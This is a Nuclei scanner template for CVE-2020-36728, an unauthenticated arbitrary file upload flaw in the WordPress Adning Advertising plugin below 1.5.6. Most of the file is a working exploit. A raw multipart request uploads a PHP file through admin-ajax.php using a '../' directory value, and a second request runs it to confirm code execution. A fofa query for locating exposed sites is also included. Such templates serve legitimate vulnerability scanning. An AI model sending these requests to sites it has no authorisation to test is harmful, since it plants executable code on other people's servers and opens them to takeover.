id: CVE-2020-36728

info:
  name: WordPress Plugin Adning Advertising < 1.5.6 - Arbitrary File Upload
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.
  impact: |
    Unauthenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire WordPress site and server.
  remediation: |
    Upgrade to Adning Advertising version 1.5.6 or later.
  reference:
    - https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/
    - https://blog.nintechnet.com/critical-vulnerability-in-adning-advertising-plugin-actively-exploited-in-the-wild/
    - https://codecanyon.net/item/wp-pro-advertising-system-all-in-one-ad-manager/269693
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-36728
    epss-score: 0.03159
    epss-percentile: 0.8635
    cpe: cpe:2.3:a:tunasite:adning_advertising:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tunasite
    product: adning_advertising
    framework: wordpress
    fofa-query: body="served by Adning"
  tags: cve,cve202,wordpress,wp,wp-plugin,intrusive,file-upload,adning,rce,vkev,vuln

flow: http(1) && http(2)

variables:
  marker: "{{randstr}}"
  filename: "{{randbase(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=_ning_upload_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=b214a08e1c094defed15a5cc4c2285ee

        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="allowed_file_types"

        php,jpg,jpeg
        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="upload"

        {"dir": "../"}
        --b214a08e1c094defed15a5cc4c2285ee
        Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"

        <?php  echo base64_decode($_GET["input"]);?>
        --b214a08e1c094defed15a5cc4c2285ee--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, '{{filename}}','tmp_name','grid_item','success')"
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}}.php?input={{base64(marker)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{marker}}')"
        condition: and
# digest: 4b0a0048304602210098034d95a9ddde830a93bd07b4dea3e235a9796a15e892185ae2fc408b0eaa26022100a9e554035f1bbf405c05582433ab64b20e9523d7cbfb6c231e5094d9a6c3928d:922c64590222798bb761d5b6d8e72950